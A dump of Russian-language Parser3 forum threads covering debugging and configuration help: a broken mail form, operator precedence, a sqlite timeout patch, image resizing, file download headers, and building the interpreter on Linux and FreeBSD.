Страничка http://this-one.ru/connect/ начала давать Unhandled Exception при попытке отправить письмо из формы.\
\
В разделе есть свой внутренний файл auto.p. Вот он, тут совсем немного.\
\
[code]# \"Рассказ\" - это содержание основного поля. Достаём текст раздела и сразу переходим к форме обратной связи:\
\
@rasskaz[]\
^sections.menu{^if($sections.uri eq $request:uri){$textpath[$sections.textfile]}{}}\
$getit[^file::load[text;$textpath]]\
^untaint{$getit.text}\
\
<form method=\"get\" class=\"quote\"><p><textarea name=\"isay\" wrap=\"hard\" width=\"80%\" height=\"15em\" style=\"width: 50%; height: 10em; margin-right: 30%;\"></textarea></p>\
<p>$result</p>\
<p><input type=\"submit\" name=\"okay\" value=\"Я не забыл оставить координаты обратной связи. Полетели!\"></input></p>\
#<p style=\"font-size: 90%; font-family: Courier New; font-weight: bold; padding-top: 3em; color: #007800;\">Кстааати!</p>\
</form>\
\
# Отправляем.\
\
^if(def $form:isay && def $form:okay){\
^mail:send[ \
      $.from[Сайт <site@this-one.ru>] \
      $.to[Петя <mail@this-one.ru>] \
      $.subject[Сообщение с сайта] \
      $.text[$form:isay] \
] \
$result[<p style=\"color: green^;\">Есть!</p><p>Сообщение успешно отправлено.</p><p>В ближайшее время я&nbsp^;прочту его и, если это предполагается, обязательно свяжусь с&nbsp^;вами.</p><p><b><a href=\"/connect/\" style=\"color: green^;\">Назад</a></b></p>]\
}{}\
<p>Ваша ситуация не останется без самого пристального внимания.</p>\
<p>До&nbsp;связи!</p>[/code]\
\
Unhandled.\
\
Логов сейчас не вижу.\
Что тут в принципе-то может глючить, в трёх соснах?"
"76566","Не судьба? :) Скорее там что-то типа \"/usr/sbin/sendmail - not found\".\
С конкретным сообщением и идти к хостеру."
"76567","http://www.parser.ru/docs/lang/exprops.htm\
\
Почему после приоритета 14 сразу идет 16. Что с пропущенным 15-ым приоритетом?\
[quote]&&	Логическая операция AND\
	14\
	второй операнд не вычисляется, если первый - ложь\
||	Логическая операция OR\
	16[/quote]"
"76569","а я-то всегда думал, что && выполняется первее..."
"76571","Вот, вроде бы удалось победить периодический \"database is locked\" при использовании sqlite:\
\
58d57\
<       int timeout;\
102d100\
<               connection.timeout=3000;\
140,143c138\
<                                               } else if (strcmp(key, \"QueryTimeout\")==0){\
<                                                       connection.timeout=atoi(value);\
<                                                       continue;\
<                                               } else\
---\
>                                               } else\
167,168d161\
<               } else {\
<                       sqlite3_busy_timeout(connection.handle, connection.timeout);\
433,435c426\
<       typedef int (*t_sqlite3_close)(sqlite3 *); t_sqlite3_close sqlite3_close;\\\
<\
<       typedef int (*t_sqlite3_busy_timeout)(sqlite3*, int ms); t_sqlite3_busy_timeout sqlite3_busy_timeout;\
---\
>       typedef int (*t_sqlite3_close)(sqlite3 *); t_sqlite3_close sqlite3_close;\
489d479\
<               DLINK(sqlite3_busy_timeout);"
"76572","то, что мне повезло, что не сталкивался с ошибками, которые могли произойти из-за неправильного использования операторов.\
ну зато по-крайней мере любую такую проблему можно решить использованием скобок [code]a && b || c[/code] -> [code]a && (b || c)[/code] (может не совсем точный пример... но бывают же случаи и потяжелее)"
"76573","А можно немного подробностей?\
\
Каково значение timeout по умолчанию (без вызова sqlite3_busy_timeout)?\
Указанные 3000 (вероятно это 3 секунды?) имеют под собой какое-нибудь обоснование/рекомендации?\
В вашем случае помогло 3000 или вы используете большее значение?"
"76574","Приоритет || меньше, чем у &&. Так же сделано во всех известных мне языках. А почему дырка - сложно сказать. Зарезервировано для последующих расширений. :)"
"76575","По умолчанию без вызова функции sqlite3_busy_timeout похоже вообще нет таймаута, либо он очень-очень маленький. Я не копал так глубоко доки и исходники sqlite.\
\
А 3000 мс взято с потолка. Помогло :)\
\
Я использую парсер с sqlite на малонагруженных проектах (frontend системы диспетчеризации, например), поэтому значение задержки можно посчитать как время обработки самой объёмной транзакции на запись (insert, update, ...) плюс небольшой запас."
"76577","если приоритет && выше чем приоритет ||, то следующий код:\
[code]\
@main[]\
$h[^hash::create[]]\
^if(^m[1] || ^m[2] && ^m[3]){true}{false}<br />\
^p[]\
\
\
@m[k]\
$h.[m$k][1]\
$result(true)\
\
\
@p[][k]\
^h.foreach[k;]{$k}[, ]\
[/code]\
\
сначала должен вызываться ^m[2], потом ^m[3] (если результат вызова ^m[2] == true), и лишь потом ^m[1] (хотя последний вызов без надобности).\
однако на деле оказывается вызван лишь ^m[1].\
\
в доке у || и && указано: \"второй операнд не вычисляется, если первый - истина\" и \"второй операнд не вычисляется, если первый - ложь\".\
\
я продолжаю настаивать, что в parser у ||, && и !|| приоритет одинаков и даные операторы выполняются слева направо :)\
\
однако в подобных случаях я всё равно использую скобки, чтобы при последующем чтении кода ни у кого не возникало вопросов как вычисляется выражение."
"76578","[quote]если приоритет && выше чем приоритет ||, то следующий код\
сначала должен вызываться ^m[2], потом ^m[3][/quote]\
\
Из неверной посылки сделаны неверные выводы, не более того. :) Приоритет - это расстановка скобок, не более того. При одинаковом приоритете 1 || 0 && 0 эквивалентно (1 || 0) && 0, что понятно не так."
"76579","Здравствуйте.\
\
Наблюдаю на одном из сайтов следующую проблему и что-то не могу сообразить, как правильнее поступить.\
\
Суть в том, что есть форум и форма регистрации на нём. На форме используется защита от спамеров antispam от Misha v.3. Везде стоят заголовки utf-8, вроде всё правильно. По крайней мере в большинстве случаев никаких проблем не возникает - люди либо проходят проверку, либо нет.\
\
Но периодически POST-запрос приходит в другой кодировке (возможно, напрямую, без заполнения формы, т.е. от робота) и тогда простой метод \
\
@_toLine[sText]\
$result[^if(def $sText){^sText.match[\\n][g]{ }}]\
\
вызывает ошибку UTF-8 validation failed during pcre_exec (-10).\
\
Воссоздать ситуацию и как-то красиво обработать ошибку у меня не получается. Перехватывать тоже не хочется. Что ещё можно сделать в таком случае?"
"76580","[code]\
$result[^if(def $sText){^sText.match[\\n][g]{ }}]\
[/code]\
=>\
[code]\
$result[^if(def $sText){^sText.replace[^table::create[nameless]{^taint[^#0A]^#09^#20}]}]\
[/code]"
"76581","Есть MySql таблица примерно такого вида:\
[code]e1	e2	e3	e4	e5	e6	e7	e8	e9	e10	e11	e12\
0	1	1	1	1	0	0	1	1	NULL	NULL	NULL[/code]\
Пытаюсь сумму этих столбцов сравнить с числом 3 например:\
[code]$iBan(^int:sql{\
   SELECT COUNT(*)\
   FROM staff\
   WHERE uid=$uid\
   AND e1 + e2 + e3 + e4 + e5 + e6 + e7 + e8 + e9 + e10 + e11 + e12 >= 3\
}[$.default(0)])[/code]\
В итоге получается, что $iBan = 0.\
Как правильно построить запрос? Может есть функция для такого суммирования? Поиск по докам MySql и Гуглу не дал полезной информации."
"76582","Есть несколько вариантов:\
1. Самый плохой — изменить запрос:\
 [code]SELECT COUNT(*)\
   FROM staff\
   WHERE uid=$uid\
   AND coalesce(e1, 1) + coalesce(e2, 1) + ... + coalesce(eN, 1) >= K\
[/code]\
\
2. Добавить поле e_sum и вычислять его при обновлении строки, например в тригере или в Парсеросвком коде. А при выборке просто писать e_sum >= 3.\
\
3. Избавится от null-значений, т.е. сделать поля eN int not null default 0. Если, конечно, null не имеет какой-то дополнительной семантики, но, в большинстве случаев, null  не особо и нужен, сособенно для полей, по которым производятся вычисления."
"76584","Может кто-то уже писал класс для определения клиента, пришедшего на сайт с мобильного устройства?\
\
Я так понимаю определить это можно через USER_AGENT. Или какой-то другой способ получше.\
\
Нашел способ на JavaScript: http://cssuseragent.org/\
[code]<script type=\"text/javascript\">\
   if (cssua.userAgent.mobile) {\
      document.location=\"http://mobile.site.ru/\"^;\
   }\
</script>[/code]\
,но он оказался не достаточно универсален. Например на Opera Mobile и Opera Mini последних версий этот скрипт не работает, а на стандартном браузере смартфона - работает.\
К тому же если ЯваСкрипт на моб. устройстве будет отключен, то тоже не сработает.\
Так что лучше бы на Парсере как-то это осуществить. Есть идеи?"
"76585","просматривая класс auth.p как раз и заметил, что скобки используются в подобных конструкциях\
[code]^if(… || (… && …)){…}[/code]\
хоть до сих пор думаю, что без скобок такая конструкция будет работать также как и со скобками."
"76586","...и скорее всего таким образом рождаются шрёдинбаги\
http://ru.wikipedia.org/wiki/%D0%A8%D1%80%D1%91%D0%B4%D0%B8%D0%BD%D0%B1%D0%B0%D0%B3"
"76589","этот детектор видел, но там код надо писать порядочный долго :)"
"76590","Я писал в свое время на парсере, код умеет определять что-то около 150 комбинаций различных версий разных браузеров и ОС (в т.ч. весьма экзотических) по userAgent. Писал очень давно, и это тот еще говнокод, мне его здесь публиковать стыдно а переписывать некогда. Если хотите, могу на почту скинуть."
"76591","Спасибо большое."
"76592","почта coel@ya.ru"
"76593","Работы на час-полтора, не больше."
"76594","Можно портировать код из Питона — там работы на полчасика. :)"
"76597","Есть ли способ ИМЕННО Парсером проверить включен ли у клиента JavaScript?\
Есть всем известный способ проверки самим же ЯваСкриптом:\
[code]<script type=\"text/javascript\">\
   document.write(\"У Вас включён JavaScript!\");\
</script>\
<noscript><span>У Вас отключён JavaScript...</span></noscript>[/code]\
Но мне он кажется не достаточно надежным. Вдруг я захочу сделать что-то такое:\
[code]<head>\
[b]<noscript>[/b]<meta http-equiv=\"refresh\" content=\"5^;url=http://some.site.ru/\" />[b]</noscript>[/b]\
</head>[/code]\
, но я сомневаюсь в универсальности выделенного тега в данном случае. Поэтому хотелось бы Парсером."
"76598","Как тут уже говорили неоднократно -- JS это клиентский, а парсер -- серверный язык.\
\
Другой вопрос -- зачем такая задача, перенаправлять если JS отключен? по идее такой код работать должен, но за все браузеры не ручусь, нужно проверять...\
\
ну или можно пойти от противного:\
\
[code]<html>\
<head>\
<script type=\"text/javascript\">\
window.location='page_with_js.html'\
</script>\
</head>\
<body>\
Страница без скритов\
</body>\
</html>[/code]\
\
тут уже 100% если JS выключен -- пользователь останется на этой странице, а если влючен -- перейдет на другую."
"76600","[code]^if(def $form:image && $form:image is file){\
	$sImageName[$form:image.name]\
	^if(-f \"/images/banners/$sImageName\"){\
		<p class=\"red\">Изображение с таким именем уже есть!</p>\
	}{\
		^use[NConvert.p]\
		$oImg[^NConvert::create[\
			$.sScriptPath[$MAIN:rootpath\\cgi-bin]\
			$.sScriptName[nconvert.exe]\
		]]\
		^form:image.save[binary;/images/temp/$sImageName]\
		^oImg.resize[/images/temp/$sImageName;/images/banners/$sImageName;400;90;$.bRemoveMeta(1) $.iQuality(75)]\
		^file:delete[/images/temp/$sImageName]\
		<p class=\"green\">Изображение успешно загружено!</p>\
	}\
}[/code]\
Выдает:\
[quote]method_frame may not be overwritten with file, store it to variable instead[/quote]\
Почему?\
При всем этом изображение ресайзируется и сохраняется где надо."
"76601","обычно парсер показывает строку, где произошла ошибка. с этой информацией бывает легче понять что происходит.\
\
в любом случае, в приведённом коде я не вижу записи file в output, т.е. ошибка скорее всего не тут.\
\
в вашем случае я написал-бы \"мясо\" чуть иначе:\
[code]\
		$sTempFileSpec[/images/temp/$sImageName]\
		^form:image.save[binary;$sTempFileSpec]\
		^if(^oImg.resize[$sTempFileSpec;/images/banners/$sImageName;400;90;$.bRemoveMeta(1) $.iQuality(75)]){\
			<p class=\"red\">Ошибка обработки изображения</p>\
		}{\
			<p class=\"green\">Изображение успешно загружено!</p>\
		}\
		^try{\
			^file:delete[$sTempFileSpec]\
		}{\
			$exception.handled(true)\
		}\
[/code]\
\
resize возвращает статус операции. если он != 0 -- ошибка\
в начале def $form:image можно не писать.\
\
P.S. class=\"green|red\" -- отстой. class=\"success|error\" -- rulezzz."
"76602","Все же нашел ошибку:\
[code]^if(def $form:fields){Debug:<br />\
	^form:fields.foreach[field;value]{\
		$field = $value\
	}[<br />]\
}[/code]\
Выводил значения полей формы, чтобы видеть что там передается. И вдруг сюда пришел \"файл\"...\
\
Ну тем не менее спасибо за оптимизацию кода обработки файла! :)"
"76603","это была не оптимизация, а указание на ошибку, которая периодически появлялась-бы (кстати сейчас тоже периодически могут возникать исключения при exec, и их хорошо-бы отловить)\
\
про отладку: посмотрите на dstop (найдёте в форуме). гораздо проще не писать каждый раз код, выводящий структуры, а в данном случае написать ^dstop[$form:fields]"
"76604","Наверное будет проще людям, если и здесь ответ будет тоже :)"
"76605","На буржуйском хостинге вот такая система:\
[quote]Operating System: CentOS release 5.5 (Final)\
Kernel Version: 2.6.18-194.32.1.el5PAE\
Apache Version: 2.2.3\
MySQL Version: 5.0.77[/quote]\
Какой Парсер подойдет к ней?\
Если из тех, что доступны в скачивании ни один не подходит, то вероятно нужно самому собирать Парсер из исходников. Но я с линуксами не дружу и понятия не имею как собрать для этой операционки. Может кто-то уже собирал? Нужна помощь."
"76606","Должно работать. Не будет - нужен вывод ldd parser3.cgi."
"76607","Залил в режиме binary. Перенос строк в файлах - LF"
"76608","Сейчас ошибок в Error Log не наблюдается.\
А страницы - пустые."
"76610","Сомневаюсь, что у меня есть достаточный доступ, чтобы запускать его как-то иначе)"
"76614","- FAQ хостера читали?\
- залили туда, где разрешено выполнение бинарных cgi-скриптов? (иногда под cgi скриптами хостеры подразумевают какие-нить pl-файлы, а не бинарные cgi-скрипты )\
- размер закачанного файла совпадает с размером этого-же файла локально?\
- бит executable не забыли?\
- напрямую к parser3.cgi обращались браузером?\
- точно нет parser3.log рядом с бинарником и в логах веб-сервера также не появляется ничего при прямом обращении к parser3.cgi?\
\
P.S. без наличия ssh вы не сможете собрать."
"76615","FAQ читал. Судя по всему binary executable cgi у них поддерживаются.\
Размер залитого файла совпадает с размером оригинального. Права 755.\
\"бит executable\" - это где смотреть?\
Если напрямую обращаться к http://адрес-сайта/cgi-bin/parser3.cgi, то тоже будет пустая страница.\
Парсерного лога как не было так и нет :("
"76616","> \"бит executable\" - это где смотреть?\
\
у гугла спросите.\
\
\
> Если напрямую обращаться к http://адрес-сайта/cgi-bin/parser3.cgi, то тоже будет пустая страница.\
\
такого быть не должно.\
должна быть или 500 ошибка или сообщение парсера с номером его версии или бинарные данные.\
залейте рядом hren.html с буквами \"hren\" и обратитесь к тему из браузера. что увидите?"
"76617","По данному вопросу в доке к парсеру нашел только функции для получения данных из НЕХ и функцию преобразования чисел math:convert.\
\
Требуется получить значение Single из НЕХ или десятичного числа, которое в других языках получается с помощью функций Single(), toSingle().\
\
В парсере есть функции, которые позволяют получить Single?"
"76618","если hren.html лежит в /cgi-bin/, то тоже пустая страница.\
Это потому что у хостера структура такая:\
/public_html/ - веб пространство\
/public_html/cgi-bin/ - cgi-bin\
.htaccess лежит в /public_html/, значит парсером обрабатываются все html файлы.\
\
[b]UPD.[/b]\
Хотя сейчас убрал .htaccess и из папки cgi-bin html-файл всё-равно пустую страницу показывает. А из корня открывается."
"76619","Попробуйте посмотреть error_log, обычно там что-нибудь есть."
"76620","На долговременный проект с небольшим объемом работы требуется программист [b]со знанием Parser[/b].\
В рамках проекта потребуется выполнять следующие виды работы:\
- техподдержка сайта, спрограммированного на Parser.\
- устранение ошибок, возникающих при работе с админкой.\
- корректировка программных блоков.\
\
Размер оплаты обсуждается с кандидатами в индивидуальном порядке.\
Телефон для связи: 89162960404, Екатерина."
"76621","Парсер 341 под линукс:\
$response:download[^file::load[binary;1.txt;1 2.txt]]\
В итоге получаю файл к загрузке с именем \"1\" и без расширения.\
\
Можно поподробнее насчет того, как передать имя файла с пробелом?"
"76623","Парсер уже стоит на сервере, поэтому надо решать проблему на том, что есть.\
У меня двоичные файлы, а вариант по ссылке - для текстовых."
"76627","> возможно знакомый один соберет парсер под цент ос и тогда попробую.\
\
не поможет.\
проблема не в парсере, а в том, что у вас вообще не выполняются скрипты.\
самое время перечитать FAQ хостера и после этого задать вопрос ему.\
\
P.S. вы-бы дали ссылку на хостера, может вам посдказали-бы что конкретное."
"76628","http://www.lunarpages.com/\
\
Да наверное проще хостера поменять."
"76629","- пробовали положить в [URL=http://www.lunarforums.com/c_perl_cgi_support/problems_with_a_cgi_program_written_in_c_solved-t44401.0.html]/public_html/scgi-bin/[/URL]?\
- какие именно права вы ставите скрипту (в faq-е написано про 755)\
- возможно в control panel надо включить cgi-bin какой-нить галочкой. по крайней мере люди пишут про 500 ошибку при неработающих скриптах (для проверки можете загрузить и проверить работоспособность printenv.pl).\
- на вашем плане точно есть cgi-bin?\
- а вообще у них есть support. можно спросить его."
"76630","... пока не разберетесь с проблемой."
"76631","Не прокатило:\
[code]$fFile[^file::load[binary;image 1.png]]\
$response:download[$fFile]\
$response:content-disposition[attachment^; filename=\"$fFile.name\"][/code]\
Видимо, этот способ только для текстовых файлов."
"76632","У меня этот код работает правильно.\
\
Какая операционная система на сервере?\
Покажите все заголовки ответа на этот запрос.\
Их можно глянуть с помощью firebug или curl."
"76633","Linux Fedora 13\
Firebug ничего не показывает в консоли и других оснастках."
"76634","Если не можете посмотреть заголовки ответа сами, дайте\
ссылку, мы посмотрим..."
"76635","В firebug надо включить закладку сеть (net), там будут видны все обращения к ресурсам."
"76636","Ссылка внутренняя, снаружи не видна."
"76637","Оснастка Сеть включена, но там ничего нет, при обновлении страницы сразу выдается окно для скачивания, в консоли и других оснастках пусто."
"76639","С firebug всё правильно. Когда браузер отдаёт файл на сохранение, отмените, нажмите F12 (если консоль не видна), а потом F5."
"76640","Firefox заглючило, после перезапуска увидел заголовки:\
Date: Tue, 10 Apr 2012 11:20:09 GMT\
Server: Apache/2.2.21 (Fedora)\
Content-Disposition: attachment; filename=image 1.png\
Content-Length: 310\
Connection: close\
Content-Type: image/png"
"76641","$fFile[^file::load[binary;image 1.png]]\
$response:download[$fFile]\
$response:content-disposition[\
	$.value[attachment^; filename=\"$fFile.name\"]\
]"
"76642","Ничего не изменилось, название файла по-прежнему обрывается на пробеле:\
Connection: close\
Content-Disposition: attachment; filename=image 1.png\
Content-Length: 310\
Content-Type: image/png\
Date: Tue, 10 Apr 2012 12:49:40 GMT\
Server: Apache/2.2.21 (Fedora)"
"76643","в двойные кавычки надо название файла запихать"
"76644","То есть больше никак, баг :)"
"76645","filename=\"$fFile.name\" - тут есть двойные кавычки.\
Если кавычки поставить в $fFile[^file::load[binary;image 1.png]], то получаю ошибку, что файл не найден.\
\
Куда кавычки писать?"
"76646","Специально скачал \"чистый\" 3.4.1 с сайта и приведённый [url=\"http://www.parser.ru/forum/?id=76641\"]здесь[/url] код работает.\
\
Попробуйте написать\
$.value[attachment^; filename=\"test test.zzz\"]\
и посмотреть на заголовки."
"76647","$.value[attachment^; filename=\"test test.zzz\"]\
\
Connection: close\
Content-Disposition: attachment; filename=image 1.png\
Content-Length: 310\
Content-Type: image/png\
Date: Tue, 10 Apr 2012 13:05:50 GMT\
Server: Apache/2.2.21 (Fedora)\
\
Все равно приходит исходное имя файла, как будто $response:content-disposition не отрабатывает.\
\
Может, в конфиге надо что-то настроить?"
"76648","В конфиге никаких специфических настроек для этого нет.\
Могу лишь посоветовать собрать head-версию парсера, где ошибка с кавычками исправлена.\
\
У меня варианты закончились, может кто ещё чего новое скажет:-)"
"76649","Версия парсера:\
Parser/3.4.1 (compiled on x86_64-unknown-linux-gnu)\
\
Только что проверил на винде - та же картина:\
Parser/3.4.1 (compiled on i386-pc-win32)"
"76650","Я случайно в тестах поставил вывод содержимого бинарного файла, а не сам объект файла, и забыл это убрать. Поэтому у меня всё работало:-)\
\
Действительно, в случае с бинарным файлом ситуацию исправить нельзя, если не взять исправление из head."
"76652","Для преобразования строки (в десятичном представлении) в число достаточно воспользоваться круглыми скобками $число($строка). Чтобы числа с дробной частью кто-то хранил в HEX - первый раз о подобном слышу."
"76653","Есть бинарный файл с информацией, которую надо получить.\
Парсер не умеет работать с бинарными файлами, поэтому я достаю информацию их НЕХ-представления файла.\
\
Для получения целых чисел и текста из НЕХ есть способы, описанные в документации.\
\
Про преобразование в Single в доке ничего не сказано, поэтому и задал вопрос."
"76654","В парсере есть только тип double:\
http://www.parser.ru/docs/lang/?intdoublefield.htm\
\
А что за формат, что в нем вещественные числа хранятся в бинарном виде? Вы лучше опишите задачу. Копаться в hex представлении бинарного файла мне кажется сомнительной идеей..."
"76655","Вы об этом типе Single говорите?\
http://en.wikipedia.org/wiki/Single_precision"
"76656","... в текстовое представление (например, в csv), а потом обработать Парсером. Обычно это проще и удобнее. :)"
"76657","Да."
"76658","Не катит, т.к. я читаю НЕХ, получаю данные, записываю результат в файл, поэтому надо сразу получать данные в нужном формате.\
\
Обрабатывается каталог с файлами, поэтому дергать внешний скрипт будет долго."
"76659","Файл представляет собой результат обмена информацией между клиентом и сервером, последовательность пакетов.\
Если читать его на сишнике, то можно получить нужные данные в нужном формате, используя готовые функции.\
\
У меня есть только парсер, поэтому надо доставать данные с его помощью.\
Скрипт на парсере удобен тем, что я кидаю его нужным людям, которые при необходимости сами вносят изменения в конфиг, не нарушая работоспособности скрипта.\
\
На текущий момент загвоздка возникла именно с получением Single из НЕХ.\
Раз уж в парсере нет функций для получения чисел в данном формате, может, кто-нибудь встречал готовый алгоритм преобразования данных их НЕХ в Single?"
"76660","Да уж. При таком раскладе наверное действительно придется конвертировать из hex в single.\
\
Формула есть в приведенной выше ссылке на википедию:\
\
[quote]n = (-1)^s \\times (m2^{-23})\\times 2^{x - 127}\
where s is the sign bit, x is the exponent, and m is the significand.\
[/quote]\
\
То есть сначала надо преобразовать число в десятичное, потом битовыми операциями сдвига и логического И получить значение x и m, затем умножить по формуле."
"76662","В примерах не работает ссылка \"Класс для работы с изображениями\". Кто бы мог выложить класс и инструкцию к нему?"
"76664","Код работы с изображение...\
[code]\
#Загружаем и сохраняем фото\
^if(def $form:new_foto){\
	$last_lot[$form:att_name]\
	$source_path[/catalog/foto/big_lot/]\
	$destination_path[/catalog/foto/small/]\
 	$new_foto[new_foto]\
	$extension[^file:justext[$form:$new_foto.name]]\
	$image_name[${last_lot}.$extension]\
	$format[jpg]\
^if(!^images:save[$form:new_foto;$source_path;$image_name;0;$format]){\
^if(^extension.lower[] ne ^format.lower[]){\
	$image_name[${image_name}.$format]\
	      }\
	$status[^images:resize[\
		  $.source_path[$source_path]\
		  $.destination_path[$destination_path]\
		  $.image_name[$image_name]\
		  $.x_size(150)\
		  $.quality[80]\
	      ]]\
}}\
[/code]\
[quote]\
Но у этого кода проблема, если в названии фото будут Русские буквы или символы, маленькое фото не создаётся, думаю надо переименовывать перед тем как менять размер ИмеджМагиком :-)[/quote]"
"76665","Вот только переносить такие фотки тяжело, бывает криво скопирует и и потом куча мала получается.\
В общем самый 100% метод тарить и копировать, с rsync тоже были проблемы, пришлось кучу параметров добавить про utf8"
"76666","Вот источник этого кода [url=\"http://www.spearance.ru/parser3/pictures/source/\"]Изменение размера картинок[/url]\
Я не правильно написал, почему то не все фото загружает, и только формат jpg."
"76667","У меня фото gif в формат jpg не конвертируется, а точнее вобще не конвертируется... спросил у поддержки установлен ли  imagemagick \
Ответили:\
Да и вот его путь:\
w_gsvet-com_54575a5@l6 ~ $ which convert\
/usr/bin/convert \
\
я в images.p Указываю:\
[code]@CLASS\
images\
\
########################################\
@auto[]\
#$script_path[/usr/bin/]\
#$script_resize_name[nconvert]\
\
# закоментировать следующие две строки если используется nconvert\
$script_path[/cgi-bin]\
$script_resize_name[images.pl]\
\
$script_convert_path[/cgi-bin]\
$script_convert_name[convert.pl]\
\
$nconvert_path[/usr/bin/convert]\
### End @auto[]\
[/code]  \
\
Но если закачиваю фото в формате gif результата нет фото не закачивается... если беру jpg, то всё ок, если беру даже jpeg фото опять не закачивается..."
"76668","путь $nconvert_path[/usr/bin] к пакету  imagemagick \
Указан только в одной функции:\
[code]@remove_metadata[path]\
$result(0)\
^try{\
	$file_image[^file::exec[$nconvert_path/nconvert;;-o;${env:DOCUMENT_ROOT}$path;-q;80;-rmeta;-rexifthumb;${env:DOCUMENT_ROOT}$path]]\
}{\
	$result(4)	# ошибка удаления данных\
	$exception.handled(1)\
}\
### End @remove_metadata[][/code]\
\
В ней меня смущает вот эта строка:\
[code]$file_image[^file::exec[$nconvert_path/nconvert;;-o;${env:DOCUMENT_ROOT}$path;-q;80;-rmeta;-rexifthumb;${env:DOCUMENT_ROOT}$path]][/code]\
\
может изменить её $nconvert_path/convert; ???"
"76669","У меня более сложный вариант уменьшения фото\
[code]@upploadFile[data;notWatermark]\
$name[${img_url}${data.galleryId}/^file:justname[$data.fileName.name].jpg]\
$prew[${img_url}${data.galleryId}/prew_^file:justname[$data.fileName.name].jpg]\
	^if(-f $name){\
		^self.addError[такой файл уже существует]\
		$result(-1)\
	}{\
		^data.fileName.save[binary;${name}-tmp]\
		$oImg[^NConvert::create[\
#			Путь, где лежит nconvert\
			$.sScriptPath[/cgi-bin/bin]\
#			Имя самого файла nconvert\
			$.sScriptName[nconvert]\
			$.iColors[256]\
			$.iQuality[80]\
			$.bKeepRatio[1]\
			$.bRemoveMeta[1]\
		]]\
		^oImg.resize[${name}-tmp;${name}-res;;$bH;[$.sFormat[jpg]]]\
		$imgInfo[^oImg.info[${name}-res]]\
		^if(def $notWatermark){\
			^file:move[${name}-res;${name}]\
		}{\
			^oImg.watermark[${name}-res;${name};/images/watermark.png;[$.sFormat[jpg]$.sPosition[center]]]\
		}\
		^file:delete[${name}-tmp]\
		\
		$rationImg($imgInfo.iWidth/$imgInfo.iHeight)\
		^if($sW/$sH > $rationImg){\
			$newH(^math:round($sW/$rationImg))\
			$newW($sW)\
		}{\
			$newW(^math:round($sH*$rationImg))\
			$newH($sH)\
		}\
		$x(^math:round(($newW/2)-($sW/2)))\
		$y(^math:round(($newH/2)-($sH/2)))\
\
		^oImg.resize[${name}-res;${name}-tmp;$newW;$newH;[$.sFormat[jpg]]]\
		^oImg.crop[${name}-tmp;${prew};$x;$y;$sW;$sH;[$.sFormat[jpg]]]\
		^file:delete[${name}-tmp]\
		^file:delete[${name}-res]\
		^if(^insertSQL[$data]<0){\
			^file:delete[${name}]\
			^file:delete[${prew}]\
			$result[-1]\
		}{\
			$result[0]\
		}\
	}\
#end @upploadFile[/code]\
\
И при инициализации класса\
[code]	$sW(^if(def $params.sW){$params.sW}{630}) ^rem{размер превьюшки}\
	$sH(^if(def $params.sH){$params.sH}{320}) ^rem{размер превьюшки}\
	$bH(^if(def $params.bH){$params.bH}{700}) ^rem{размер фотки}\
	$bW(^if(def $params.bH){$params.bW}{}) ^rem{размер фотки}[/code]\
\
PS код может и не оптимальный, но вот пока руки не доберутся его довести до ума."
"76670","нет ncoverta, а как заставить класс менять формат фото не знаю...\
Странно почему такого нет в самом parser, без привлечения  скриптов со стороны..."
"76671","Вы кажется используете классы от Den Kulikoff, а DSHa от Eugene Spearance :)\
\
Правда это, в случае классов от Den-а, почти неважно, достаточно заменить имя класса с 'NConvert' на 'ImageMagick'\
\
P.S. временно, пока сайт автора отдыхает, сделал локальную копию статьи. а то что-то народ не в курсе о существовании веб-архива :)"
"76673","src:\
Freebsd 9.0\
release_3_4_1 parser3\
собрано с gc-7.1.tar.gz, libxml2-2.7.8.tar.gz, libxslt-1.1.26.tar.gz, pcre-8.30.tar.gz (8.12 - нигде нет, пришлось собрать с 8.30)\
\
при сборке \"parser3pgsql.lo\"\
Ошибка: parser3pgsql.C:18: error: expected initializer before '==' token\
\
строка: 'volatile const char * IDENT_PARSER3PGSQL_C==\"$Id: parser3pgsql.C,v 1.37 2012-03-16 10:05:04 moko Exp $\" IDENT_PA_SQL_DRIVER_H;'\
\
собралось в таком варианте: 'volatile const char * IDENT_PARSER3PGSQL_C=\"$Id: parser3pgsql.C,v 1.37 2012-03-16 10:05:04 moko Exp $\";'\
\
PS\
просьба: \
добавить в buildall-* строки:\
'\
if [ `uname` = FreeBSD ];then\
  options=\"$options --with-curl=/usr/local/include/curl\"\
else\
  options=\"$options --with-curl=/usr/include/curl\"\
fi\
'"
"76674","> Ошибка: parser3pgsql.C:18: error: expected initializer before '==' token\
\
Спасибо, исправлено в HEAD. Издержки global replace.\
\
> pcre-8.30.tar.gz (8.12 - нигде нет, пришлось собрать с 8.30)\
\
Есть такое дело, обновим...\
\
> добавить в buildall-* строки: \
\
Да, мне тоже не нравится необоходимость иметь эти заголовки.\
Вероятно иначе решим эту проблему - добавим нужные константы себе в libs."
"76675","При попытке использовать CURL ( ^curl:version[] )  выходит ошибка: curl  class is undefined  \
\
В документации ни чего не нашел, кроме того что нужна libcurl. libcurl.dll скачал и поместил lib. А что дальше с ней делать? \
\
Как заставить работать CURL?"
"76677","Доброго времени суток!\
Есть сайт, написанный на parser3. По ошибке удалила htaccess. После восстановления сайт перестал работать, выдается ошибка:\
match\
undefined method\
/home/.../www/auto.p(20:22)\
if	/home/.../www/auto.p(20:2)\
\
Сайт: http://stscom.ru/\
\
Код auto.p:\
@USE\
/classes/session.p\
/classes/router.p\
/classes/vault13.p\
\
\
@auto[]\
# подключение к базе данных\
#	$sql[mysql://...]\
	$sql[mysql://...]\
# общее время на всем промежутке создания страницы\
	$now[^date::now[]]\
# ключевое слово для подключения к обеим панелям администрирования\
	$adm[...]\
# закомментировать на хостинге\
#	$adm[]\
\
@main[]\
# проверяется, идет ли клиент в панель администрирования\
^if(^form:magic_page.match[admin]){\
# если клиент идет в панель администрирования, проверяется ключевое слово\
	^if($cookie:password eq $adm){\
# открыть сеанс\
	$session[^session::start[$sql;;]]\
# построить маршрутизатор\
$router[^router::create[]]\
# выбрать страницу и выдать ее содержимое\
	^router.switch[]\
	}{\
# если ключеное слово не подходит, делается перенаправление\
		$response:refresh[\
			$.value(0)\
			$.url[/login/?redirect=$form:magic_page]\
		]\
	}\
}{\
# если клиент не идет в панель администрирования, пропускается\
# открыть сеанс\
$session[^session::start[$sql;;]]\
# построить маршрутизатор\
	$router[^router::create[]]\
\
	^router.switch[]\
}\
\
Подскажите, пожалуйста, как исправить эту ошибку. Заранее спасибо!"
"76678","Как видно, раньше в .htaccess передавался параметр magic_page,\
а теперь не передается. Так что ищите правильный .htaccess.\
\
А ошибку можно убрать например так:\
\
